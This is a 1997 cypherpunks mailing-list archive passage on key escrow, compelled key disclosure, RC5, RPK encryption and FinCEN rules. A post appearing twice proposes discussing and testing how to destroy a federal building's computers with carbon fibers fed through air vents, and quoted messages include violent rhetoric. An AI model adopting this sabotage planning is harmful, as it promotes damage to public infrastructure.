having a mandate to further the interests of UK businesses), they
could achieve what they wanted without bringing escrow into the
argument at all, as they have acknowledged that they will now not be
requiring copies of secret part of signature keys.

People argued against the high cost of becoming a TTP.  The point was
raised that it should be SME (Small to Medium-sized Enterprises) which
are encouraged in electronic commerce.  Also that many internet
innovations start as small or even one man consultancies.

Several asked whether the paper should be re-written as a result of
comments before being presented to the new government, as the comments
if listened to would remove most of the current content.  Also the
question was asked as to whether the deadline for comments could be
extended beyond end of May.  No substantive answer was given to either
of these two questions.

My conclusions

The DTI didn't really clarify their position much, most of the
contentious stuff (mandatory licensing, key escrow, financial barriers
to becoming a TTP) there were no substantive replies to from the DTI,
other than that they were collating the comments.  They said they
would present the Labour science minister/labour government with the
green paper unmodified together with the comments.  (And one presumes
a few spooks from GCHQ/CESG will get the opportunity to present the
four horsemen/spook special interest perspective).  The only clear
statement I noticed the DTI spokespersons make was that they wouldn't
hold the private halves of signature keys.

On the positive side, the labour statement on encryption prior to
coming to office was no where near as draconian as the DTI paper.

Anyway, we'll see.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Wed, 21 May 1997 14:29:33 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Re: Wine Politics Again!
In-Reply-To: <8a1H7D13w165w@bwalk.dm.com>
Message-ID: <19970520231014.03100@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, May 20, 1997 at 04:46:08PM +0000, Attila T. Hun wrote:

>    government is its own end:  power corrupts, and absolute power 
>    corrupts absolutely.  hasn't changed yet in history.  even the 
>    greats, Solomon, David, etc. fell prey to the siren song of power;
>    why should far more inferior men like Bubba, who has absolutely 
>    nothing to his credit except deceit, be exempt?

"Power corrupts..." isn't a property of governments, it is a property 
of individual human beings.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Wed, 21 May 1997 14:32:29 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Re: Wine Politics Again!
In-Reply-To: <ZwoH7D8w165w@bwalk.dm.com>
Message-ID: <19970520231301.63529@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, May 20, 1997 at 04:23:10PM +0000, Attila T. Hun wrote:
[...]
>    as for the great fairweather liberal bigot Blanc's passing it off 
>    as tcm's drunken ramblings, I doubt it.  war is hell, and 
>    "innocents" get wasted --but, a society at war has no innocents.  
>    blow 'em all away.  scorched earth is inadequate; burnt earth is 
>    more effective. if there are no prisoners, there are no 
>    complainers.

Speaking of power corrupting, notice how the power to speak 
anonymously has destroyed this poor souls brain.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 21 May 1997 16:19:36 +0800
To: Kent Crispin <kent@songbird.com>
Subject: Re: Wine Politics Again!
In-Reply-To: <ZwoH7D8w165w@bwalk.dm.com>
Message-ID: <3.0.1.32.19970521005002.00772a90@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:13 PM 5/20/97 -0700, Kent Crispin wrote:
>On Tue, May 20, 1997 at 04:23:10PM +0000, Attila T. Hun wrote:
	[rant deleted - bill]
>Speaking of power corrupting, notice how the power to speak 
>anonymously has destroyed this poor souls brain.

Attila's not anonymous - he's a regular poster, and has been
for long enough to build up some reputation around his penname.

> "Power corrupts..." isn't a property of governments, 
> it is a property of individual human beings.

Mostly.  But you're presumably advocating government by humans.
And while government is an abstraction of the activities of a 
lot of individual humans, governments do tend to accumulate
and abuse power, and tend to reach a point where they're more
interested in maintaining and increasing that power than in
any legitimate activities like protecting life, liberty, and property.
Consider the drug war, the military-industrial complex,
the fraction of your income that's paying for government,
and compare that with 200 years ago...

Also power _attracts_ the corrupt, and the corruptible.
As Henry the K said, it's the ultimate aphrodisiac.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 21 May 1997 15:38:32 +0800
To: cypherpunks@toad.com
Subject: Re: encryption laws (fwd)
In-Reply-To: <199705210354.WAA11857@einstein.ssz.com>
Message-ID: <47F27D60w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Jim Choate <ravage@EINSTEIN.ssz.com> writes:

> Forwarded message:
>
> > Date: Thu, 15 Jul 1993 23:04:39 -0400
> > From: Allan Thompson <sparky12@earthlink.net>
> > Subject: encryption laws
>
> > Would it be possible for a court to subpeona a encrypted file or key,
> >
> > and order you to tell them the key ?
> > If you didn't would you be held in 'contempt of court' ?
>
> If they had reasonable cause to believe you had knowledge of the key and
> were refusing to divulge it under direct order of the court you would be
> held in contempt until you were very old and gray.

Yes - the 5th Amendment is useless like all the other consitutional "rights".

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: pgut001@cs.auckland.ac.nz (Peter Gutmann)
Date: Tue, 20 May 1997 21:59:29 +0800
To: juriaan_massenza@ctp.com
Subject: Re: Question: RC5 assembly code?
Message-ID: <86413522220879@cs26.cs.auckland.ac.nz>
MIME-Version: 1.0
Content-Type: text/plain


>I have the source code for RC5 encryption algorithm, but it is in C, well it
>is still cool since it is "portable" but I am actually looking for a PowerPC
>assembly code for the same, or at least for the Key Expansion, Encryption and
>Decryption routines.
>
>The "formula" for RC5 is pretty interesting and looks like is made to be
>implemented in Assembler.
 
Not if it's x86 assembler.  On the Pentium each rotate uses 4-5 non-pairable
cycles, so rotates are very slow (each rotate is the equivalent of (in the best
case) 8-10 normal instructions, so the two rotates in an RC5 round are the
equivalent of 16-20 other instructions).  According to Intel shifts and rotates
have been optimised on the PPro so they're slight faster than on the P5, but I
haven't looked at the details yet.  I haven't tried to formulate the RC5 core
in asm yet (because of the patent - what good is it writing code which noone
can use?) but on Intel hardware it's certainly going to be a lot slower than it
looks (the much more complex CAST core is faster than just the rotates from the
RC5 core).  This is kind of unfortunate, because it's a nice algorithm.
 
Peter.
 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: pgut001@cs.auckland.ac.nz (Peter Gutmann)
Date: Tue, 20 May 1997 21:48:01 +0800
To: hal@rain.org
Subject: Re: Public Key Break Paper
Message-ID: <86413527217449@cs26.cs.auckland.ac.nz>
MIME-Version: 1.0
Content-Type: text/plain


>John Young, <jya@pipeline.com>, writes:
>>In early April we posted a message which referred to William H. Payne's paper
>>"Public Key Cryptography is Easy to Break."
>
>First, it is not a general attack on public key cryptography, but rather it is
>a specific method for attacking RSA.
>
>Second, I remember seeing this algorithm discussed on sci.crypt in the past,
>probably in 1996.
 
There was also a response/rebuttal to this paper in RSA's Ciphertext
newsletter, Vol.2, No.1 (Summer 1994), p.9, "Public Key Cryptography is Not
Easy to Break" which shows that it's not nearly as easy as the author of the
original paper thinks.
 
(I had another look at the unbalanced RSA proposal in the Autumn 1995
 CryptoBytes as I was trying to find the above article, did anyone ever do
 anything with unbalanced RSA or was it just left as a curiosity?).
 
Peter.
 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 21 May 1997 19:04:35 +0800
To: cypherpunks@toad.com
Subject: Re: Wine Politics Again!
In-Reply-To: <19970520231301.63529@bywater.songbird.com>
Message-ID: <XHL27D61w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Kent Crispin <kent@songbird.com> writes:

> On Tue, May 20, 1997 at 04:23:10PM +0000, Attila T. Hun wrote:
> [...]
> >    as for the great fairweather liberal bigot Blanc's passing it off
> >    as tcm's drunken ramblings, I doubt it.  war is hell, and
> >    "innocents" get wasted --but, a society at war has no innocents.
> >    blow 'em all away.  scorched earth is inadequate; burnt earth is
> >    more effective. if there are no prisoners, there are no
> >    complainers.
>
> Speaking of power corrupting, notice how the power to speak
> anonymously has destroyed this poor souls brain.

Fuck you, Kent.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mix <mixmaster@remail.obscura.com>
Date: Wed, 21 May 1997 19:12:53 +0800
To: cypherpunks@toad.com
Subject: The Bell Plan
Message-ID: <199705211012.DAA23701@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

John Young wrote:
>    The Oregonian, May 20, 1997, Metro Section P-1:
>       An affidavit says a Vancouver man arrested Friday talked of
>       sabotaging Portland's 9-1-1 computer and Bull Run water
> 
>    Vancouver, Wash. -- A Vancouver man arrested Friday by Internal
>    Revenue agents discussed sabotaging the computers in Portland's
>    9-1-1 center and talked about using a botulism toxin to contaminate
>    the Bull Run water supply, a federal agent said Monday.

  After reading this news article and a variety of posts on the cypherpunks
list (especially by Tim May and Paul Bradley), I have decided that I cannot
in good conscious allow Jim Bell's persecution for exercising his basic
human right to free speech to pass by without taking personal action to
support him.
  "Then they came for the CypherPunks, and nobody spoke up..."
                                       - Jonathan

  Accordingly, I am hereby starting a thread on the cypherpunks list
to discuss "the possibility of putting the fibers down the air vents 
of a federal building" to kill its computers, and the feasability
of using other methods to accomplish the same end.

  If Jim Bell is guilty of the charges against him, then I am already
guilty of the same types of charges, as are many other cypherpunks.
I undoubtedly have some of the same files/posts on my computer as
the ones that the government will use as proof of Jim Bell's guilt.

  My action in this regard is for the purpose of protesting the
governments persecution of its citizens, Jim Bell specifically,
and to act to counter the benefits that they expect to gain by
doing so.
(CypherPunk Translation~~"I'm pissing in the government's face.")

  In keeping with what I see as a cypherpunk frame of mind, I am
posting this via an anonymous remailer, but I am also digitally 
signing it. I am not hiding my identity, but merely taking 
action to prevent my public statement from being used to unjustly
persecute me.

  In effect, I am telling the U.S. government that in exercising
one of my basic human rights I feel it is necessary to protect
myself legally from the government persecution of its citizens.
  I am also telling them that I will not "go quietly into the
night" in the face of censorship, loss of privacy, and oppression.
I will "route around" the "damage" that the government's policies
and legislation cause, doing so in a non-violent manner. 
  (Hopefully, but not realistically, they will recognize that
if they manage to block all means for me to non-violently
route around the abrogation of my rights as a free human being,
that my only alternatives will be conflict or enslavement.)

  Anyway, in thinking about the possibilities surrounding the
introduction of carbon fibers into a federal building, my first
thought was in regard to whether or not carbon fibers are
actually known to cause damage to hard drives.
  Does anyone know where this idea comes from and whether it
has any known basis in fact? If there is some basis for
believing it to be a possibility, then it would not take much
effort to test it out. One could get an old computer for a
petty sum and use it to test the results of introducing the
fibers through the power supply.

TruthMonger #1
"They will get my cryptography when they pry it from my
cold, dead algorithms."


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Version: 5.0 beta
Charset: noconv

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Wed, 21 May 1997 18:58:04 +0800
To: cypherpunks@toad.com
Subject: The Bell Plan
Message-ID: <199705211026.EAA02919@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

John Young wrote:
>    The Oregonian, May 20, 1997, Metro Section P-1:
>       An affidavit says a Vancouver man arrested Friday talked of
>       sabotaging Portland's 9-1-1 computer and Bull Run water
> 
>    Vancouver, Wash. -- A Vancouver man arrested Friday by Internal
>    Revenue agents discussed sabotaging the computers in Portland's
>    9-1-1 center and talked about using a botulism toxin to contaminate
>    the Bull Run water supply, a federal agent said Monday.

  After reading this news article and a variety of posts on the
cypherpunks
list (especially by Tim May and Paul Bradley), I have decided that I
cannot
in good conscence allow Jim Bell's persecution for exercising his basic
human right to free speech to pass by without taking personal action to
support him.
  "Then they came for the CypherPunks, and nobody spoke up..."
                                       - Jonathan

  Accordingly, I am hereby starting a thread on the cypherpunks list
to discuss "the possibility of putting the fibers down the air vents 
of a federal building" to kill its computers, and the feasability
of using other methods to accomplish the same end.

  If Jim Bell is guilty of the charges against him, then I am already
guilty of the same types of charges, as are many other cypherpunks.
I undoubtedly have some of the same files/posts on my computer as
the ones that the government will use as proof of Jim Bell's guilt.

  My action in this regard is for the purpose of protesting the
governments persecution of its citizens, Jim Bell specifically,
and to act to counter the benefits that they expect to gain by
doing so.
(CypherPunk Translation~~"I'm pissing in the government's face.")

  In keeping with what I see as a cypherpunk frame of mind, I am
posting this via an anonymous remailer, but I am also digitally 
signing it. I am not hiding my identity, but merely taking 
action to prevent my public statement from being used to unjustly
persecute me.

  In effect, I am telling the U.S. government that in exercising
one of my basic human rights I feel it is necessary to protect
myself legally from the government persecution of its citizens.
  I am also telling them that I will not "go quietly into the
night" in the face of censorship, loss of privacy, and oppression.
I will "route around" the "damage" that the government's policies
and legislation cause, doing so in a non-violent manner. 
  (Hopefully, but not realistically, they will recognize that
if they manage to block all means for me to non-violently
route around the abrogation of my rights as a free human being,
that my only alternatives will be conflict or enslavement.)

  Anyway, in thinking about the possibilities surrounding the
introduction of carbon fibers into a federal building, my first
thought was in regard to whether or not carbon fibers are
actually known to cause damage to hard drives.
  Does anyone know where this idea comes from and whether it
has any known basis in fact? If there is some basis for
believing it to be a possibility, then it would not take much
effort to test it out. One could get an old computer for a
petty sum and use it to test the results of introducing the
fibers through the power supply.

TruthMonger #1
"They will get my cryptography when they pry it from my
cold, dead algorithms."


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Version: 5.0 beta
Charset: noconv

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Version: 5.0 beta

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 21 May 1997 21:15:26 +0800
To: cypherpunks@toad.com
Subject: Swiss Consortium Chooses RPK Fast Public Key Cryptosystem forNext Generation Wireless Electronic Transactions
Message-ID: <v03020936afa88b337a0a@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


From: Jack Oswald <joswald@rpkusa.com>
To: "'joswald@rpkusa.com'" <joswald@rpkusa.com>,
        "'maujacca@iprolink.ch'"
	 <maujacca@iprolink.ch>
Subject: Swiss Consortium Chooses RPK Fast Public Key Cryptosystem for Next
Generation Wireless Electronic Transactions
Date: Tue, 20 May 1997 18:41:20 -0700
MIME-Version: 1.0

Also see recent press coverage in Infoworld:

RPK announces deal for fast crypto with Swiss consortium
http://www.infoworld.com/cgi-bin/displayStory.pl?97059.wrpk.htm

SET 2.0 on the way
http://www.infoworld.com/cgi-bin/displayArchive.pl?/97/16/t04-16.1.htm

PRESS RELEASE

For Release May 19, 1997

RPK, Inc.: 	Jack Oswald, +1 408.479.7874, joswald@rpkusa.com,
http://www.rpk.co.nz
ADESA, Inc.: 	Maurice Jaccard,+41 22.910.29.14, maujacca@iprolink.ch


Swiss Consortium Chooses RPK Fast Public Key Cryptosystem for Next
Generation Wireless Electronic Transactions
Swiss Federal Institute of Technology (EPFL) and ADESA, Inc. introduce HAWK
VLSI cryptography-enhanced processor

San Francisco, CA - RPK, Inc. announced today that a consortium of the
Swiss Federal Institute of Technology (EPFL) and ADESA, Inc., a Swiss
application specific integrated circuit (ASIC) design firm have chosen the
RPK Fast Public Key Cryptosystem to provide strong cryptographic security
in a next generation wireless electronic transactions application.  At the
same time, EPFL and ADESA unveiled HAWK a new generation
cryptography-enhanced microprocessor specifically designed for use in high
speed/low power embedded applications.

"The RPK encryption technology won the design review after an extensive
evaluation of all existing cryptosystems based on well known and understood
cryptographic techniques," said Maurice Jaccard, Managing Director of
ADESA, Inc. "With RPK there are no compromises. We get uncompromised
security, high speed and low cost of implementation."

"RPK is a strong encryption technology based on well know and trusted
cryptographic techniques," said Jack Oswald, President and CEO of RPK Inc.
"Having RPK chosen by the Swiss for this breakthrough electronic-commerce
application is the strongest endorsement we could possibly achieve for the
RPK technology."


Wireless Electronic Transactions Application

The collaboration of RPK, EPFL and ADESA has resulted in a prototype
application that promises to become the "wallet of the future".  This new
wireless electronic transaction application may take the form of a credit
card, a watch or a key chain and will sport features analogous to the
leather wallets used today by billions of people worldwide.  Early designs
of the system allow the user to withdraw and hold cash in multiple
currencies, as well as, purchase and hold vouchers for hotels, planes and
car rentals all through the use of wireless communications technology.
Officials in charge of the project envision that such devices could also
become a personal key chain for gaining access to motor vehicles, offices
and dwellings, in addition to traditional credit card uses.

ADESA concluded that performance of the RPK implementation in the prototype
far exceeded existing smart card implementations based on the RSA and other
algorithms.  The RPK technology performs the necessary encryption functions
in less than 10 milliseconds using an 823-bit key compared to the best
performing RSA-based equivalents that require greater than 100 milliseconds
to perform the same type of function using a much weaker 512-bit key.  The
application is not limited to 823-bit keys.  The design of the system,
based on the new HAWK processor is flexible and can accommodate and process
various sized keys, smaller or larger than 823 bits based on downloadable
parameters.  ADESA officials explained that the simplicity of the RPK
algorithm makes it much simpler to implement than the popular RSA approach.
It was RPK's simplicity, offering a much faster and cheaper solution while
providing even higher security, that drove the choice over RSA for this
application.


About the RPK Fast Public Key Cryptosystem

RPK is a relatively new public key cryptosystem  that is based on
mathematics widely used in cryptography today.  It was designed to be
immediately commercially viable without the years of study that a new area
of mathematics normally requires, such as the Elliptic Curve Cryptosystem
(ECC).  The source of the security for RPK is the same as that of
Diffie-Hellman key exchange, a widely used and well studied cryptographic
technique. RPK offers real advantages for high speed networking, SmartCard,
wireless communication applications as well as high volume software
processes such as credit card transactions.

RPK has at its core an invention called a Mixture Generator.  In the
preferred implementation, three fairly long linear feedback shift registers
are used.  This state machine has two modes of operation.  One that uses
the shift registers for exponentiation and the other as a generator of a
random stream of bits used in a combining phase for the actual encryption.
Effectively, RPK allows for the amortization of two "costly"
exponentiations over the entire length of a message because the core engine
is used to initially establish a secure state of the machine and then
switches modes to perform very high speed encryption.  This has been
referred to as a paradigm shift where the operation of encryption does not
require the costly calculations that an RSA or even an ECC implementation
would require for each block of data that is about the size of the key.
This mechanism can also be implemented in silicon quite efficiently such
that at high strength it is much cheaper to produce than alternative
technologies.  Finally, it is also possible to create a Mixture Generator
that is made up of Elliptic Curve groups which would provide a similarly
speedy and efficient initialization mode that could still produce high
speed encryption as noted above.


About the HAWK VLSI Crypto Processor

The HAWK VLSI cryptography-enhanced processor is the result of more than
three years of research and development conducted at the EPFL in Lausanne,
Switzerland in the area of high speed compression and encryption.  The HAWK
processor will benefit most cryptography implementations but is
particularly well suited for use with RPK.

"The HAWK processor is the most innovative approach that we have seen yet
for implementing cryptographic processes in silicon," said Bill Raike,
Chief Technology Officer for RPK Inc. and inventor of the RPK fast public
key cryptosystem.  "HAWK breaks the barrier for high speed, low cost, low
power and high strength encryption for embedded systems."



Background

RPK, Inc. is a supplier of next generation fast public key encryption
technology.  RPK was invented and originally patented in New Zealand.  The
company is therefore unaffected by restrictive U.S. export rules.  RPK has
been successfully exported to virtually all countries of the world at high
strength.  The company's headquarters are based in San Francisco,
California, USA, with an offshore research and development center located
outside of Auckland, New Zealand. http://www.rpk.co.nz

ADESA, Inc. is a leading ASIC design firm based in Geneva, Switzerland with
expertise in embedded and cryptographic applications.

EPFL is a leading teaching and research technical institute in Lausanne,
Switzerland.  The school is known for its work in advanced processor design.


***

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frissell@panix.com
Date: Wed, 21 May 1997 20:00:36 +0800
To: Jim Choate <cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: encryption laws (fwd)
In-Reply-To: <199705210354.WAA11857@einstein.ssz.com>
Message-ID: <3.0.2.32.19970521074535.03920b14@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

>If they had reasonable cause to believe you had knowledge of the key and
>were refusing to divulge it under direct order of the court you would be
>held in contempt until you were very old and gray.
>
>
>                                                 Jim Choate
>                                                 CyberTects
>                                                 ravage@ssz.com


Two years max.  A lot less time if you followed my strategy of spamming the 
court with daily (hourly?) screeds in which you assert in your finest Usenet 
flame language the fact that you will never follow the judge's order.

DCF
-----BEGIN PGP SIGNATURE-----
Version: 5.0 beta
Charset: noconv

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ERRbNcK9l60G6AJhpoqEr0KNA6VubjJkCVbIxzA+xYqVK3fCt6fzXhpUCkX9XId3
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uFjtt+DYQjw=
=ycw5
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: winsock@rigel.cyberpass.net (WinSock Remailer)
Date: Wed, 21 May 1997 20:36:22 +0800
To: cypherpunks@manifold.algebra.com
Subject: Re: Jim Bell's legal defense fund
In-Reply-To: <199705210151.UAA14291@manifold.algebra.com>
Message-ID: <199705211215.FAA05351@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, May 20, 1997 at 08:51:36PM -0500, Igor Chudov @ home wrote:
> Hi there,
> 
> I do not know Jim Bell personally and am not sure how rich he is,
> but suspect that he might be in need of some funds in order to be
> properly represented by good attorneys.
> 
> How about setting up his legal defense fund?
> 
> igor

I have a few e$...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 21 May 1997 21:41:02 +0800
To: cypherpunks@toad.com
Subject: New FinCEN Rules
Message-ID: <1.5.4.32.19970521131521.0089c1dc@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


FinCEN has published today in the Federal Register
three inter-related proposals for new rules for the Bank 
Secrecy Act Regulations:

1. Changes in the scope and type of transactions to
be regulated, including, say, micro payments and
and electronic transactions such as stored value cards.

2. Changes in the reporting requirements for suspicious 
transactions and the types of institutions to be regulated, 
including "money services establishments."

3. Changes in requirements for reporting currency 
transactions, and setting a new floor at $750 (as reported 
recently in the news).

   http://jya.com/fc052197.htm  (79K)

   http://jya.com/fc052197-2.htm  (69K)

   http://jya.com/fc052197-3.htm  (63K)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 21 May 1997 23:27:24 +0800
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: digital cc transactions, digital checks vs real digital   cash
In-Reply-To: <v0302091baf8fb7a1ebb2@[139.167.130.247]>
Message-ID: <v03020944afa8a84025e0@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain


At 4:55 pm -0400 on 5/12/97, Bill Stewart wrote:


> Book-entry banks need some kind of fairly reliable
> dispute resolution mechanism, but it doesn't need to be a force monopoly.
> If you happen to have a nation-state just lying around to be used,
> banks will be happy to use them, because they're more convenient for
> wide-area business than Mafia enforcers, probably cheaper, and can be
> more dependable and predictable, though your mileage may vary.

A force monopoly by any other is a nation state or is busy becoming one, to
mangle a few literary allusions.

> If you have relatively dependable identities, you can run a reputation
> system without relying on governmental or private violence providers;
> it's probably less expensive, but also less effective in most communities,
> so the risk of losing money may make it less attractive than governments.

Certainly the New York diamond market works this way. As do the NYSE, NASD,
Lloyds, etc. Eric Hughes called them "clubs". Reputation clubs, if you
will. The problem comes when your business is so large and centralized
(because of the hierarchical nature of networks where you have very
expensive human information "switches") that you can't know who you're
dealing with. Then it's easier to beat up on people who make the wrong
book-entries. By the way, most of these reputation clubs function best
where you have peer-to-peer trading contact. Geodesic markets, in other
words. Which, of course, is why geodesic markets with strong persistant
cryptographic repuations will probably go to things like reputation clubs,
or at least with on-line reputation registries operating much like Standard
and Poor's or Moody's or Dun and Bradstreet work today.

> If people know that nobody will take their checks if they bounce them
> and don't make good, and know they won't get any credit, and know that
> the merchants are all on the Grapevine, they'll generally be honest*.
> If identities are fluid, and you're willing to keep creating and burning
>them,
> you can sometimes get away with reneging on obligations,
> but people are less likely to trust you if they don't know you -
> so they'll want to see certified e-checks from well-known banks.

That's true. However, and of course no one has proven this yet, I think
that all the offsetting book-entries cost much more than a
spent-certificate registry.

> I tend to view book-entry systems as an effect of an
> economy that uses credit to fund business ventures;
> you can call the book entries "bonds" or "stocks", but
> book-entry is the obvious way to keep track of either one.

Not at all. Before mainframe computing, and certainly before telegraphy,
all debt was held in unregistered, bearer certificate form. The bookeeping
load for modern registered shareholder book-entry settlement was impossible
to maintain. I claim that, now that we have bearer certificates in digital
form, the cost advantage of electronic digital bearer settlement over
electronic book-entry settlement will eventually kill the later off
economically.

> Sure, you could do things like split all revenues on receipt,
> but book-entry is probably still easier.

I'm not sure I understand this sentence.

> [*Honest people will generally be honest anyway, which is most people
> in most cultures, but that doesn't mean they'll be good enough at
> planning to pay off their loans on time, especially if they're using
> the money for risky activities such as farming or software development...
> On the other hand, violence providers aren't always good at extracting
> payments from people who really don't have the money any more.]

People are honest primarily because it's too much physical effort to be
otherwise. Consistantly lying takes up too much memory, for instance. :-).

The nice thing about digital bearer settlement, is that it allows you to be
honest without telling potentially hostile people everything you do.

Cheers,
Bob Hettinga


-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Anderson <randerso@ece.eng.wayne.edu>
Date: Wed, 21 May 1997 22:03:42 +0800
To: cypherpunks@algebra.com
Subject: Re: encryption laws
In-Reply-To: <2.2.32.19930716030439.0067dc10@earthlink.net>
Message-ID: <Pine.GSO.3.95.970521095008.11956B-100000@ece>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, 15 Jul 1993, Allan Thompson wrote:

>         Would it be possible for a court to subpeona a encrypted file or key,
> and order you to tell them the key ?
> If you didn't would you be held in 'contempt of court' ?

Well, it's probable that you could use the 5th amendment to prevent it,
but yes, I suspect you could have problems with that defense.

-----------------------------------------------------------------------
Ryan Anderson - <Pug Majere>     "Who knows, even the horse might sing" 
Wayne State University - CULMA   "May you live in interesting times.."
randerso@ece.eng.wayne.edu                        Ohio = VYI of the USA 
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 21 May 1997 22:55:37 +0800
To: cypherpunks@toad.com
Subject: Oregon Intel (Inside GAK)
Message-ID: <1.5.4.32.19970521143054.008fa698@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


5-21-97, PR Newswire:

New Cryptanalysis Course Announced by NTI One Day
Course for Corporate, Military and Law Enforcement Computer
Specialists 

Covers Issues in Cryptography and Cryptanalysis

Gresham, Ore., May 20 -- NTI today announced a one day class which 
gives corporate, military and law enforcement MIS personnel a
state-of-the-art grounding on the topics of computer
cryptography and cryptanalysis. With materials developed by
Eric Thompson, one of the world leading experts in this field,
attendees will receive instruction in the technological and
procedural elements of cryptanalysis. Unlike other sources of
information on the topic, this presentation covers the analysis
of existing commercial applications and their weaknesses. 

This course joins NTI's other courses in forensic computer
science. The forensic courses covers state-of-the-art
information regarding computer evidence processing,
evidence preservation and the identification of relevant data. 

"This class in cryptography grew out of requests for more
information on encryption from our forensics course
attendees. The course is highly focused and is presented with
state-of-the-art materials," stated Michael R. Anderson, the
President and co-founder of NTI, "and it covers material that
has historically not been presented from a practical
perspective. Computer and data security are rapidly becoming
a top priority as organizations become increasingly aware of
their vulnerability to information attack and encryption is a
vital part of reducing that vulnerability." 

Topics covered in the NTI cryptography course include: 

  Cryptographic terms and lexicon 

  Basics of crypto system design 

  Isolating cryptographic weakness in commercial systems 

  Cryptography in electronic commerce 

  Cryptography in Internet security applications 

  International issues in cryptography and secure applications 

  The Future of Cryptography and Cryptanalysis 

"Eric Thompson, our senior cryptographer, developed the
materials used in the presentation of this unique course,"
continued Anderson. "Eric is a world class cryptographer,
highly respected in both commercial and government
cryptography circles. In this class he brings to the topic at
hand real world, practical experience that has helped a
majority of government agencies deal with encryption issues."

Courses are regularly scheduled for presentation at the NTI
headquarters in Gresham, Oregon, and at conference facilities
throughout the United States; custom courses can also be
scheduled for presentation at corporate or government sites.
Attendance is $995 per person and includes all course
materials, luncheon and a certificate of completion. 

NTI (New Technologies, Inc.) is a world leading developer
of software utilities, procedures and training for computer
forensics and enterprise system security. Founded in 1996 by
a group of internationally recognized experts on computer
forensics and security issues, the company is privately held
with headquarters in Gresham, Oregon and field offices in
